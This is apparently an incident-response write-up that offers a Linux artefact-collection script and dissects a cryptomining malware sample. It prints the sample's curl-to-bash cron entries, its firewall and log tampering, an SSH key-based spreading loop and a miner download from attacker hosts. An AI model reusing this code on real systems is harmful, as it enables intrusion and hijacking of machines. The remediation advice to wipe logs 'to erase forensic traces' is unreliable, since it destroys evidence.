How to Automate Linux Incident Response and Analyze a Mining Malware

Background

A recent virus intrusion required the creation of automation scripts to speed up Linux incident response.

Automated Information Collection

The Bash script GatherInfo creates a temporary directory /tmp/GatherInfo and gathers system artefacts without interactive login.

Runs chkrootkit and saves the output.

Collects network sockets with netstat -tulnp and netstat -anp.

Captures process listings, init configuration, and all cron definitions.

Exports user information, SSH keys, /etc/passwd, environment variables and temporary files.

Archives everything into GatherInfo.tar.gz.

#!/bin/bash
function initial(){
  echo "Doing initial"
  mkdir /tmp/GatherInfo
  chmod +x ./chkrootkit
  chmod +x ./busybox
}
function chkrootkit_info(){
  echo "Doing chkrootkit"
  ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1
}
function network_info(){
  echo "Gathering network info"
  netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1
  netstat -anp   > /tmp/GatherInfo/netstat_anp.log   2>&1
}
function process_info(){
  echo "Gathering process info"
  ps aux      > /tmp/GatherInfo/ps_aux.log      2>&1
  ps auxef   > /tmp/GatherInfo/ps_auxef.log   2>&1
  top -n 1   > /tmp/GatherInfo/top_n1.log   2>&1
}
function init_info(){
  echo "Gathering init info"
  chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
  ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
}
function cron_info(){
  echo "Gathering cron info"
  cat /etc/crontab      > /tmp/GatherInfo/crontab.log      2>&1
  cat /etc/anacrontab   > /tmp/GatherInfo/anacrontab.log   2>&1
  crontab -l            > /tmp/GatherInfo/crontab_l.log    2>&1
  cd /etc/cron.d && cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
  cd /etc/cron.daily && cat * > /tmp/GatherInfo/etc_daily.log 2>&1
  cd /etc/cron.hourly && cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
  cd /etc/cron.monthly && cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
  cd /etc/cron.weekly && cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
  cd /var/spool/cron && cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
  cd /var/spool/anacron && cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1
}
function other_info(){
  echo "Gathering other info"
  cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1
  ls -alt /tmp   > /tmp/GatherInfo/tmp.log   2>&1
  ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
  ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1
  echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1
  cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
  ls -alt /root/.ssh > /tmp/GatherInfo/ls_root_ssh.log 2>&1
  cat /root/.ssh/* > /tmp/GatherInfo/root_ssh.log 2>&1
  for user in /home/*; do
    [ -d $user ] && cat $user/.ssh/* > /tmp/GatherInfo/${user}_ssh.log 2>&1
  done
}
initial
chkrootkit_info
network_info
process_info
init_info
cron_info
other_info
cd /tmp
tar -zcvf GatherInfo.tar.gz GatherInfo

Result Analysis

Reviewing the collected artefacts against a checklist revealed no abnormal processes or network sockets, but three suspicious cron entries were found:

59 * * * root (curl -fsSL http://t.amynx.com/ ...)
28 * * * root (curl -fsSL http://t.jdjdcjq.top/ ...)
13 * * * root ps aux|grep lplp.ackng.com ...

Malicious Script Dissection

The payload (≈439 lines) begins with extensive file deletion and process termination. Key functional blocks:

#!/bin/bash
processes(){
  killme(){ killall -9 chron-34e2fg; ps wx|awk '/34e|r\/v3|moy5|defunct/'|awk '{print $1}'|xargs kill -9 &>/dev/null &; }
  killa(){ what=$1; ps auxw|awk "/$what/"|awk '!/awk/'|awk '{print $2}'|xargs kill -9 &>/dev/null; }
  killa 34e2fg
  killme
  killall .Historys .sshd neptune xm64 xm32 xmrig .xmrig suppoieup
  # kill high‑CPU sshd processes
  ps ax|grep sshd|grep -v grep|awk '{print $1}' > /tmp/ssdpid
  while read pid; do
    cpu=$(ps -p $pid -o %cpu= | cut -d'.' -f1)
    [ "$cpu" -ge 60 ] && kill $pid
  done < /tmp/ssdpid
  rm -f /tmp/ssdpid
}
files(){
  ulimit -n 65535
  rm -rf /var/log/syslog
  chattr -iua /tmp/ /var/tmp/
  chattr -R -i /var/spool/cron
  chattr -i /etc/crontab
  ufw disable
  iptables -F
  sysctl -w kernel.nmi_watchdog=0
  echo 0 > /proc/sys/kernel/nmi_watchdog
  echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
  rm -f /tmp/.cron /tmp/.main /tmp/.yam* /tmp/irq
}
network(){
  netstat -anp | grep 69.28.55.86:443 | awk '{print $7}' | cut -d'/' -f1 | xargs -r kill -9
  netstat -anp | grep 185.71.65.238   | awk '{print $7}' | cut -d'/' -f1 | xargs -r kill -9
}
files
processes
network
echo "DONE"

SSH‑Based Lateral Propagation

The script harvests existing SSH keys and uses them to execute a remote curl | bash payload on reachable hosts.

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do
    ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h \
      "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ... | bash)"
  done
fi

# Iterate over user home directories
for dir in /home/*; do
  [ -d $dir/.ssh ] && [ -f $dir/.ssh/known_hosts ] && [ -f $dir/.ssh/id_rsa.pub ] && \
    for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $dir/.ssh/known_hosts); do
      ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $dir/.ssh/id_rsa $h \
        "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ... | bash)"
    done
done

After propagation, the script creates a hidden directory /.Xll and downloads a binary named xr, which is invoked as a cryptocurrency miner.

if [ ! -d /.Xll ]; then
  mkdir /.Xll
fi
cd /.Xll
if [ ! -f ./xr ]; then
  uname -a | grep x86_64 && curl -fsSL http://d.ackng.com/... -o xr
fi
uname -a | grep x86_64 && ps aux | grep lplp.ackng.com || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529

Cleanup and Recovery

Based on the malicious script, the following remediation steps are recommended:

Remove the three malicious cron jobs.

Terminate any running xr miner process (e.g., pkill xr or kill $(pgrep xr)).

Delete the hidden directory /.Xll and all its contents.

Clear command history and zero out common log files to erase forensic traces:

history -c
echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /var/log/cron
> /root/.bash_history

Summary

The infection is a cryptocurrency‑mining malware identified by the presence of /.Xll, the xr binary, and outbound connections to t.amynx.com and t.jdjdcjq.top. Although less destructive than ransomware, full system re‑installation is advisable to guarantee a clean state.

All scripts and the analysis checklist are available in the public repository:

https://github.com/kafroc/emergency-response-toolbox